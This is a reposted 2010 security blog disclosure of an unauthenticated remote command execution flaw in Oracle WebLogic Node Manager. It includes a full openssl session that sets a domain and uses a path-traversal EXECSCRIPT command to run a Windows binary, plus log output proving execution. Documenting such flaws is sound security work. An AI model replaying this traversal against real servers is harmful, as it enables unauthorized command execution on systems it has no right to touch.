Oracle WebLogic Server Node Manager "beasvc.exe" Remote Command Execution
来源:互联网 发布:win10配置java环境变量 编辑:程序博客网 时间:2024/06/18 16:55
http://intevydis.blogspot.com/2010/01/oracle-weblogic-1032-node-manager-fun.html
Time for the final bug in our Week of Web Server bugs.
It is in Vulndisco since Oct, 2008.
Oracle Weblogic has an optional Node Manager utility which is used to start/stop server instances from a remote location.
It is important to know that Node Manager is beasvc.exe process which listens on port 5556.
Itsupports several commands, no authentication is required to enter someof these commands, you will only need to know the name of Weblogic domain (btw in the default install Weblogic has at least 2 domains - wl_server and medrec). As beasvc.exe speaks over SSL we will use openssl utility:
character '>' marks the beginning of our command (write the command after '>' and press Enter)
$ openssl s_client -host 192.168.56.101 -port 5556
>HELLO asdf
+OK Node manager v10.3 started
Remote version leak bug here ;-)
>DOMAIN xyz
-ERR I/O error while reading domain directory
>GETNMLOG
java.io.FileNotFoundException: Domain directory 'C:/Oracle/Middleware/wlserver_10.3/common/nodemanager' invalid (domain salt file not found)
at weblogic.nodemanager.server.DomainManager.initialize(DomainManager.java:79)
at weblogic.nodemanager.server.DomainManager.(DomainManager.java:54)
at weblogic.nodemanager.server.NMServer.getDomainManager(NMServer.java:257)
at weblogic.nodemanager.server.Handler.handleDomain(Handler.java:218)
at weblogic.nodemanager.server.Handler.handleCommand(Handler.java:108)
at weblogic.nodemanager.server.Handler.run(Handler.java:70)
at java.lang.Thread.run(Thread.java:619)
>DOMAIN wl_server
+OK Current domain set to 'wl_server'
>EXECSCRIPT ../../../../../../../../Windows/System32/ping.exe
-ERR 1
>GETNMLOG
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> <Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> < [-r count] [-s count] [[-j host-list] | [-k host-list]]>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> < [-w timeout] [-R] [-S srcaddr] [-4] [-6] target_name>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> <Options:>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> < -t Ping the specified host until stopped.>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> < To see statistics and continue - type Control-Break;>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> < To stop - type Control-C.>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> < -a Resolve addresses to hostnames.>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> < -n count Number of echo requests to send.>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> < -l size Send buffer size.>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> < -f Set Don't Fragment flag in packet (IPv4-only).>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> < -i TTL Time To Live.>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> < -v TOS Type Of Service (IPv4-only).>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> < -r count Record route for count hops (IPv4-only).>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> < -s count Timestamp for count hops (IPv4-only).>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> < -j host-list Loose source route along host-list (IPv4-only).>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> < -k host-list Strict source route along host-list (IPv4-only).>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> < -w timeout Timeout in milliseconds to wait for each reply.>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> < -R Use routing header to test reverse route also (IPv6-only). >
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> < -S srcaddr Source address to use.>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> < -4 Force using IPv4.>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> < -6 Force using IPv6.>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
<Jan 22, 2010 6:37:51 AM> <INFO> <>
.
+OK Node manager log file sent
Obviously it is a remote preauth command execution bug!
- Oracle WebLogic Server Node Manager "beasvc.exe" Remote Command Execution
- Oracle WebLogic Server 12c: Node Manager配置与使用
- Gitorious Remote Command Execution
- Anfibia Remote Command Execution
- 使用Node Manager来管理Weblogic Server
- Apache James Server 2.3.2 - Remote Command Execution
- Exim sender_address Remote Command Execution
- TWiki SEARCH Variable Remote Command Execution Vulnerability
- xterm DECRQSS Remote Command Execution Vulnerability
- gitWeb v1.5.2 Remote Command Execution
- op5 Appliance Multiple Remote Command Execution Vulnerabilities
- RECEME - Remote Command Execution through eMail Exchange
- ZABBIX 'node_process_command()' Remote Command Execution Vulnerability
- Webmin /file/show.cgi Remote Command Execution
- Webmin /file/show.cgi Remote Command Execution
- SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
- SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
- ZPanel 10.0.0.2 Remote Command Execution
- C#操作Excel(导入导出)
- (转)S60 程序安装后启动运行和程序开机自动运行
- Delphi的字符串与16进制的相互转换函数的汇编代码
- Java高亮关键字
- hibernate配置问题
- Oracle WebLogic Server Node Manager "beasvc.exe" Remote Command Execution
- ASP.NET MVC Routing概览(C#)
- 登录线卡步骤
- gb2312编码表
- 关于DOCTYPE
- 第9章 定义新类型
- SAP中MRP类型 P1,P2,P3,P4,PD的区别
- Linux Kernel 'pipe.c' Local Privilege Escalation Vulnerability
- iReport+jasperreport